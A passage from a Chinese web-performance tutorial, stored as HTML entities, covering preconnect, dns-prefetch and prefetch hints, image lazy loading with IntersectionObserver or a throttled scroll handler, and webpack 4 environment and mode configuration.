&#x9884;&#x89E3;&#x6790;</h3>\n<p>&#x5982;&#x679C;&#x4E0D;&#x5E0C;&#x671B;&#x5BF9;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x9884;&#x52A0;&#x8F7D;&#xFF0C;&#x90A3;&#x4E48;&#x4E5F;&#x53EF;&#x4EE5;&#x8003;&#x8651;&#x4F7F;&#x7528; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preconnect<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code>&#xFF0C;&#x63D0;&#x524D;&#x4E0E;&#x8D44;&#x6E90;&#x5EFA;&#x7ACB; socket &#x8FDE;&#x63A5;&#x3002;&#x9884;&#x8FDE;&#x63A5;&#x4F1A;&#x63D0;&#x524D;&#x5B8C;&#x6210; DNS &#x89E3;&#x6790;&#x3001;TCP &#x63E1;&#x624B;&#x548C; TLS &#x534F;&#x5546;&#x7684;&#x5DE5;&#x4F5C;&#xFF0C;&#x4F46;&#x5E76;&#x4E0D;&#x4F1A;&#x63D0;&#x524D;&#x52A0;&#x8F7D;&#x8D44;&#x6E90;&#xFF0C;&#x7528;&#x6CD5;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preconnect<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">crossorigin</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>anonymous<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://use.fontawesome.com<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>DNS &#x9884;&#x89E3;&#x6790;&#x4E0E;&#x9884;&#x8FDE;&#x63A5;&#x7C7B;&#x4F3C;&#xFF0C;&#x901A;&#x8FC7; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>dns-prefetch<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x58F0;&#x660E;&#xFF0C;&#x4F46;&#x4EC5;&#x4F1A;&#x63D0;&#x524D;&#x8FDB;&#x884C; DNS &#x89E3;&#x6790;&#x3002;</p>\n<h3 id=\"&#x9884;&#x53D6;\"><a name=\"&#x9884;&#x53D6;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9884;&#x53D6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9884;&#x53D6;\" class=\"plugin-anchor\" href=\"#&#x9884;&#x53D6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9884;&#x53D6;</h3>\n<p>&#x9884;&#x53D6;&#x901A;&#x8FC7; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>prefetch<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x58F0;&#x660E;&#xFF0C;&#x901A;&#x5E38;&#x7528;&#x4E8E;&#x63D0;&#x524D;&#x52A0;&#x8F7D;&#x7528;&#x6237;&#x63A5;&#x4E0B;&#x6765;&#x53EF;&#x80FD;&#x9700;&#x8981;&#x7684;&#x8D44;&#x6E90;&#xFF0C;&#x5982;&#x70B9;&#x51FB;&#x201C;&#x4E0B;&#x4E00;&#x9875;&#x201D;&#x7684;&#x9875;&#x9762;&#x7B49;&#x3002;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x5728;&#x7A7A;&#x95F2;&#x65F6;&#xFF0C;&#x4F7F;&#x7528;&#x6700;&#x4F4E;&#x4F18;&#x5148;&#x7EA7;&#x4E0B;&#x8F7D;&#x9884;&#x53D6;&#x7684;&#x8D44;&#x6E90;&#xFF0C;&#x7528;&#x6CD5;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>prefetch<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/next-page.html<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x6D4F;&#x89C8;&#x5668;&#x5E76;&#x4E0D;&#x4F1A;&#x9012;&#x5F52;&#x5730;&#x8FDB;&#x884C;&#x9884;&#x53D6;&#x3002;&#x5982;&#x4E0A;&#x8FF0;&#x4F8B;&#x5B50;&#x4E2D;&#xFF0C;<code>next-page.html</code> &#x9700;&#x8981;&#x9884;&#x53D6;&#x7684;&#x8D44;&#x6E90;&#xFF0C;&#x5E76;&#x4E0D;&#x4F1A;&#x5728;&#x5F53;&#x524D;&#x9875;&#x9762;&#x63D0;&#x524D;&#x4E0B;&#x8F7D;&#x3002;</p>\n<h3 id=\"&#x61D2;&#x52A0;&#x8F7D;\"><a name=\"&#x61D2;&#x52A0;&#x8F7D;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x61D2;&#x52A0;&#x8F7D;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x61D2;&#x52A0;&#x8F7D;\" class=\"plugin-anchor\" href=\"#&#x61D2;&#x52A0;&#x8F7D;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x61D2;&#x52A0;&#x8F7D;</h3>\n<p>&#x53EF;&#x4EE5;&#x5BF9;&#x56FE;&#x50CF;&#x8D44;&#x6E90;&#x91C7;&#x7528;&#x201C;&#x61D2;&#x52A0;&#x8F7D;&#x201D;&#x7B56;&#x7565;&#xFF0C;&#x5373;&#x4EC5;&#x52A0;&#x8F7D;&#x5F53;&#x524D;&#x5728;&#x89C6;&#x53E3;&#x5185;&#x7684;&#x56FE;&#x50CF;&#xFF0C;&#x800C;&#x5BF9;&#x4E8E;&#x89C6;&#x53E3;&#x5916;&#x672A;&#x52A0;&#x8F7D;&#x7684;&#x56FE;&#x50CF;&#xFF0C;&#x5728;&#x5176;&#x5373;&#x5C06;&#x6EDA;&#x52A8;&#x8FDB;&#x5165;&#x89C6;&#x53E3;&#x65F6;&#x624D;&#x5F00;&#x59CB;&#x52A0;&#x8F7D;&#x3002;</p>\n<p><code>IntersectionObserver</code> &#x53EF;&#x4EE5;&#x5E2E;&#x52A9;&#x6211;&#x4EEC;&#x9AD8;&#x6548;&#x5730;&#x5224;&#x65AD;&#x5143;&#x7D20;&#x662F;&#x5426;&#x8FDB;&#x5165;&#x89C6;&#x53E3;&#x3002;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x56FE;&#x50CF;&#x61D2;&#x52A0;&#x8F7D;&#x529F;&#x80FD;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">document<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;DOMContentLoaded&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> images <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token operator\">...</span>document<span class=\"token punctuation\">.</span><span class=\"token function\">querySelectorAll</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;img&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n  <span class=\"token keyword\">const</span> observer <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">IntersectionObserver</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">entries</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    entries<span class=\"token punctuation\">.</span><span class=\"token function\">forEach</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">entry</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>entry<span class=\"token punctuation\">.</span>isIntersecting<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span>\n      <span class=\"token punctuation\">}</span>\n\n      <span class=\"token keyword\">const</span> image <span class=\"token operator\">=</span> entry<span class=\"token punctuation\">.</span>target\n\n      image<span class=\"token punctuation\">.</span>src <span class=\"token operator\">=</span> image<span class=\"token punctuation\">.</span>dataset<span class=\"token punctuation\">.</span>src\n      image<span class=\"token punctuation\">.</span>srcset <span class=\"token operator\">=</span> image<span class=\"token punctuation\">.</span>dataset<span class=\"token punctuation\">.</span>srcset\n      observer<span class=\"token punctuation\">.</span><span class=\"token function\">unobserve</span><span class=\"token punctuation\">(</span>image<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n  images<span class=\"token punctuation\">.</span><span class=\"token function\">forEach</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">image</span> <span class=\"token operator\">=&gt;</span> observer<span class=\"token punctuation\">.</span><span class=\"token function\">observe</span><span class=\"token punctuation\">(</span>image<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4F46; <code>IntersectionObserver</code> &#x7684;&#x6D4F;&#x89C8;&#x5668;&#x517C;&#x5BB9;&#x6027;&#x76EE;&#x524D;&#x5E76;&#x4E0D;&#x592A;&#x597D;&#xFF0C;&#x53EF;&#x6309;&#x9700;&#x5F15;&#x5165;&#x76F8;&#x5E94;&#x7684; polyfill &#x8FDB;&#x884C;&#x517C;&#x5BB9;&#x3002;&#x5F53;&#x7136;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x8F83;&#x4F20;&#x7EDF;&#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x76D1;&#x542C;&#x56FE;&#x50CF;&#x5143;&#x7D20;&#x7684; <code>scroll</code>&#x3001;<code>resize</code>&#x3001;<code>orientationchange</code> &#x4E8B;&#x4EF6;&#xFF0C;&#x901A;&#x8FC7; <code>getBoundingClient()</code> &#x6765;&#x5224;&#x65AD;&#x5143;&#x7D20;&#x662F;&#x5426;&#x5728;&#x89C6;&#x53E3;&#x5185;&#xFF0C;&#x4ECE;&#x800C;&#x5B9E;&#x73B0;&#x61D2;&#x52A0;&#x8F7D;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">import</span> <span class=\"token punctuation\">{</span>throttle<span class=\"token punctuation\">}</span> <span class=\"token keyword\">from</span> <span class=\"token string\">&apos;lodash&apos;</span>\n\ndocument<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;DOMContentLoaded&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> images <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token operator\">...</span>document<span class=\"token punctuation\">.</span><span class=\"token function\">querySelectorAll</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;img&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n  <span class=\"token keyword\">const</span> lazyLoad <span class=\"token operator\">=</span> <span class=\"token function\">throttle</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    images <span class=\"token operator\">=</span> images<span class=\"token punctuation\">.</span><span class=\"token function\">filter</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">image</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">const</span> imageRect <span class=\"token operator\">=</span> image<span class=\"token punctuation\">.</span><span class=\"token function\">getBoundingClientRect</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>imageRect<span class=\"token punctuation\">.</span>top <span class=\"token operator\">&gt;=</span> innerHeight <span class=\"token operator\">||</span> imageRect<span class=\"token punctuation\">.</span>bottom <span class=\"token operator\">&lt;</span> <span class=\"token number\">0</span> <span class=\"token operator\">||</span> <span class=\"token function\">getComputedStyle</span><span class=\"token punctuation\">(</span>image<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>display <span class=\"token operator\">==</span> <span class=\"token string\">&apos;none&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> <span class=\"token boolean\">true</span>\n      <span class=\"token punctuation\">}</span>\n\n      image<span class=\"token punctuation\">.</span>src <span class=\"token operator\">=</span> image<span class=\"token punctuation\">.</span>dataset<span class=\"token punctuation\">.</span>src\n      image<span class=\"token punctuation\">.</span>srcset <span class=\"token operator\">=</span> image<span class=\"token punctuation\">.</span>dataset<span class=\"token punctuation\">.</span>srcset\n      <span class=\"token keyword\">return</span> <span class=\"token boolean\">false</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>images<span class=\"token punctuation\">.</span>length <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      document<span class=\"token punctuation\">.</span><span class=\"token function\">removeEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;scroll&apos;</span><span class=\"token punctuation\">,</span> lazyLoad<span class=\"token punctuation\">)</span>\n      window<span class=\"token punctuation\">.</span><span class=\"token function\">removeEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;resize&apos;</span><span class=\"token punctuation\">,</span> lazyLoad<span class=\"token punctuation\">)</span>\n      window<span class=\"token punctuation\">.</span><span class=\"token function\">removeEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;orientationchange&apos;</span><span class=\"token punctuation\">,</span> lazyLoad<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">200</span><span class=\"token punctuation\">)</span>\n\n  document<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;scroll&apos;</span><span class=\"token punctuation\">,</span> lazyLoad<span class=\"token punctuation\">)</span>\n  window<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;resize&apos;</span><span class=\"token punctuation\">,</span> lazyLoad<span class=\"token punctuation\">)</span>\n  window<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;orientationchange&apos;</span><span class=\"token punctuation\">,</span> lazyLoad<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x6211;&#x4EEC;&#x8FD8;&#x5E94;&#x8BE5;&#x6839;&#x636E;&#x56FE;&#x50CF;&#x52A0;&#x8F7D;&#x540E;&#x7684;&#x5927;&#x5C0F;&#xFF0C;&#x8BBE;&#x7F6E;&#x56FE;&#x50CF;&#x5360;&#x4F4D;&#x7B26;&#x3002;&#x8FD9;&#x6837;&#x53EF;&#x4EE5;&#x907F;&#x514D;&#x56FE;&#x50CF;&#x52A0;&#x8F7D;&#x540E;&#x89E6;&#x53D1;&#x9875;&#x9762;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#xFF0C;&#x9020;&#x6210;&#x9875;&#x9762;&#x95EA;&#x70C1;&#x3002;&#x5173;&#x4E8E;&#x9875;&#x9762;&#x5E03;&#x5C40;&#x7684;&#x8BE6;&#x7EC6;&#x5185;&#x5BB9;&#xFF0C;&#x5728;&#x540E;&#x9762;&#x7AE0;&#x8282;&#x7684;<a href=\"2-rendering-performance.html\">&#x6E32;&#x67D3;&#x6027;&#x80FD;</a>&#x7684;&#x5185;&#x5BB9;&#x91CC;&#x4F1A;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x3002;</p>\n<p>&#x5BF9;&#x4E8E;&#x89C6;&#x9891;&#x540C;&#x6837;&#x53EF;&#x4EE5;&#x91C7;&#x7528;&#x61D2;&#x52A0;&#x8F7D;&#x7B56;&#x7565;&#x3002;&#x4E0E;&#x56FE;&#x50CF;&#x61D2;&#x52A0;&#x8F7D;&#x7684;&#x5DEE;&#x522B;&#x662F;&#xFF0C;&#x5360;&#x4F4D;&#x7B26;&#x4F7F;&#x7528; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>video</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7684; <code>poster</code> &#x5C5E;&#x6027;&#x5B9E;&#x73B0;&#xFF0C;&#x4EE5;&#x53CA;&#x9700;&#x8981;&#x904D;&#x5386;&#x5B50; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>source</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5143;&#x7D20;&#x5C06; <code>data-src</code> &#x4FEE;&#x6539;&#x4E3A; <code>src</code> &#x3002;&#x7531;&#x4E8E;&#x539F;&#x7406;&#x5341;&#x5206;&#x7C7B;&#x4F3C;&#xFF0C;&#x8FD9;&#x91CC;&#x4E0D;&#x518D;&#x91CD;&#x590D;&#x5C55;&#x5F00;&#x3002;</p>\n<h2 id=\"&#x4F7F;&#x7528;-webpack-&#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;\"><a name=\"&#x4F7F;&#x7528;-webpack-&#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F7F;&#x7528;-webpack-&#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F7F;&#x7528;-webpack-&#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;\" class=\"plugin-anchor\" href=\"#&#x4F7F;&#x7528;-webpack-&#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F7F;&#x7528; webpack &#x4F18;&#x5316;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;</h2>\n<p>webpack &#x662F;&#x73B0;&#x4EE3; Web &#x5E94;&#x7528;&#x6700;&#x5E38;&#x7528;&#x7684;&#x8D44;&#x6E90;&#x6253;&#x5305;&#x5DE5;&#x5177;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x4F1A;&#x4EE5; webpack 4 &#x4E3A;&#x4F8B;&#xFF0C;&#x7B80;&#x5355;&#x4ECB;&#x7ECD;&#x4E00;&#x4E0B;&#x5982;&#x4F55;&#x4F7F;&#x7528; webpack &#x5B9E;&#x73B0;&#x4E0A;&#x6587;&#x63D0;&#x5230;&#x7684;&#x5404;&#x79CD;&#x4F18;&#x5316;&#x624B;&#x6BB5;&#x3002;&#x5BF9;&#x4E8E;&#x5176;&#x4ED6;&#x7248;&#x672C;&#x7684; webpack&#xFF0C;&#x4EC5;&#x5728;&#x5177;&#x4F53;&#x914D;&#x7F6E;&#x4E0A;&#x53EF;&#x80FD;&#x4F1A;&#x6709;&#x6240;&#x51FA;&#x5165;&#xFF0C;&#x800C;&#x80CC;&#x540E;&#x7684;&#x539F;&#x7406;&#x90FD;&#x662F;&#x76F8;&#x540C;&#x7684;&#x3002;</p>\n<h3 id=\"&#x533A;&#x5206;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x548C;&#x751F;&#x4EA7;&#x73AF;&#x5883;\"><a name=\"&#x533A;&#x5206;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x548C;&#x751F;&#x4EA7;&#x73AF;&#x5883;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x533A;&#x5206;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x548C;&#x751F;&#x4EA7;&#x73AF;&#x5883;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x533A;&#x5206;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x548C;&#x751F;&#x4EA7;&#x73AF;&#x5883;\" class=\"plugin-anchor\" href=\"#&#x533A;&#x5206;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x548C;&#x751F;&#x4EA7;&#x73AF;&#x5883;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x533A;&#x5206;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x548C;&#x751F;&#x4EA7;&#x73AF;&#x5883;</h3>\n<p>&#x8BBE;&#x7F6E; node &#x73AF;&#x5883;&#x53D8;&#x91CF; <code>NODE_ENV</code> &#x53EF;&#x4EE5;&#x7528;&#x6765;&#x533A;&#x5206;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x548C;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#xFF0C;&#x4E00;&#x822C;&#x7528; <code>development</code> &#x8868;&#x793A;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#xFF0C;&#x800C; <code>production</code> &#x5219;&#x8868;&#x793A;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x3002;&#x8BBE;&#x7F6E;&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x5C31;&#x53EF;&#x4EE5;&#x5728;&#x9879;&#x76EE;&#x7684;&#x6784;&#x5EFA;&#x811A;&#x672C;&#x4E2D;&#xFF0C;&#x901A;&#x8FC7; <code>process.env.NODE_ENV</code> &#x83B7;&#x53D6;&#x5F53;&#x524D;&#x73AF;&#x5883;&#xFF0C;&#x6839;&#x636E;&#x73AF;&#x5883;&#x8FDB;&#x884C; webpack &#x7684;&#x5DEE;&#x5F02;&#x5316;&#x914D;&#x7F6E;&#x4E86;&#x3002;</p>\n<p>&#x901A;&#x5E38;&#x4F1A;&#x4F7F;&#x7528; cross-env &#x5E93;&#x63D0;&#x4F9B;&#x7684; <code>cross-env</code> &#x547D;&#x4EE4;&#x6765;&#x8BBE;&#x7F6E;&#x73AF;&#x5883;&#x53D8;&#x91CF;&#xFF0C;&#x8FD9;&#x6837;&#x505A;&#x662F;&#x4E3A;&#x4E86;&#x517C;&#x5BB9; Windows &#x7CFB;&#x7EDF;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-shell\">cross-env NODE_ENV<span class=\"token operator\">=</span>production webpack\n</code></pre>\n<p>&#x540C;&#x65F6;&#xFF0C;&#x9700;&#x8981;&#x5C06; webpack &#x914D;&#x7F6E;&#x4E2D;&#x7684; <code>mode</code> &#x9009;&#x9879;&#x8BBE;&#x7F6E;&#x4E3A;&#x5BF9;&#x5E94;&#x7684;&#x73AF;&#x5883;&#x3002;webpack &#x4F1A;&#x6839;&#x636E;&#x4E0D;&#x540C;&#x73AF;&#x5883;&#xFF0C;&#x8FDB;&#x884C;&#x4E00;&#x4E9B;&#x9ED8;&#x8BA4;&#x7684;&#x914D;&#x7F6E;&#xFF0C;&#x5982; <code>mode</code> &#x4E3A; <code>production</code> &#x65F6;&#xFF0C;&#x4F1A;&#x5C06; <code>optimization.minimize</code> &#x8BBE;&#x7F6E;&#x4E3A; <code>true</code>&#xFF0C;&#x8868;&#x660E; webpack &#x5C06;&#x4F1A;&#x4F7F;&#x7528; <code>TerserPlugin</code> &#x63D2;&#x4EF6;&#x538B;&#x7F29; JavaScript &#x6784;&#x5EFA;&#x4EA7;&#x7269;&#x3002;&#x5173;&#x4E8E;&#x4E0D;&#x540C; <code>mode</code> &#x914D;&#x7F6E;&#x4E0B;&#x7684;&#x8BE6;&#x7EC6;&#x6548;&#x679C;&#xFF0C;&#x53EF;&#x53C2;&#x8003;&#x5B98;&#x65B9;&#x6587;&#x6863;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// webpack.config.js</span>\nmodule<span class=\"token punctuation\">.</span>exports <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  mode<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;production&apos;</span> <span class=\"token comment\">// &#x6216; &apos;development&apos;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x8BBE;&#x7F6E; <code>mode</code> &#x540E;&#xFF0C;&#x9879;&#x76EE;&#x4E2D;&#x5C31;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x4E0D;&#x540C;&#x73AF;&#x5883;&#x7F16;&#x5199;&#x4EE3;&#x7801;&#x4E86;&#xFF0C;&#x5982;&#x4EC5;&#x5728;&#x5F00;&#x53D1;&#x73AF;&#x5883;&#x4E0B;&#x624D;&#x8F93;&#x51FA;&#x7684;&#x65E5;&#x5FD7;&#x7B49;&#x3002;&#x8FD9;&#x662F;&#x7531;&#x4E8E; webpack &#x4F1A;&#x4F7F;&#x7528;&#x5185;&#x7F6E;&#x7684; <code>DefinePlugin</code> &#x63D2;&#x4EF6;&#x5C06;&#x9879;&#x76EE;&#x6E90;&#x4EE3;&#x7801;&#x4E2D;&#x51FA;&#x73B0;&#x7684;&#x6240;&#x6709; <code>process.env.NODE_ENV</code> &#x76F4;&#x63A5;&#x66FF;&#x6362;&#x4E3A; <code>mode</code> &#x5BF9;&#x5E94;&#x7684;&#x73AF;&#x5883;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>process<span class=\"token punctuation\">.</span>env<span class=\"token punctuation\">.</span><span class=\"token constant\">NODE_ENV</span> <span class=\"token operator\">===</span> <span class=\"token string\">&apos;development&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;This app is in development mode.&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x4E0A;&#x8FF0;&#x4EE3;&#x7801;&#xFF0C;&#x5728;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x4E0B;&#x4F1A;&#x88AB;&#x7F16;&#x8BD1;&#x4E3A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token string\">&apos;production&apos;</span> <span class=\"token operator\">===</span> <span class=\"token string\">&apos;development&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;This app is in development mode.&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x8FD9;&#x4E2A;&#x5206;&#x652F;&#x7684;&#x5224;&#x65AD;&#x6761;&#x4EF6;&#x59CB;&#x7EC8;&#x4E3A; <code>false</code>&#x3002;&#x4ECE;&#x800C;&#xFF0C;&#x5728; webpack &#x751F;&#x4EA7;&#x73AF;&#x5883;&#x4E0B;&#x9ED8;&#x8BA4;&#x5F00;&#x542F;&#x4F7F;&#x7528;&#x7684; <code>TerserPlugin</code> &#x63D2;&#x4EF6;&#xFF0C;&#x4F1A;&#x5C06;&#x8FD9;&#x6BB5;&#x4EE3;&#x7801;&#x5B8C;&#x5168;&#x5220;&#x9664;&#x3002;&#x6211;&#x4EEC;&#x5728;&#x6784;&#x5EFA;&#x4EA7;&#x7269;&#x4E2D;&#x5C06;&#x770B;&#x4E0D;&#x5230;&#x6574;&#x4E2A; <code>if</code> &#x8BED;&#x53E5;&#x5757;&#x4E86;&#x3002;</p>\n<h3 id=\"tree-shaking\"><a name=\"tree-shaking\" class=\"anchor-navigation-ex-anchor\" href=\"#tree-shaking\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"tree-shaking\" class=\"plugin-anchor\" href=\"#tree-shaking\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Tree 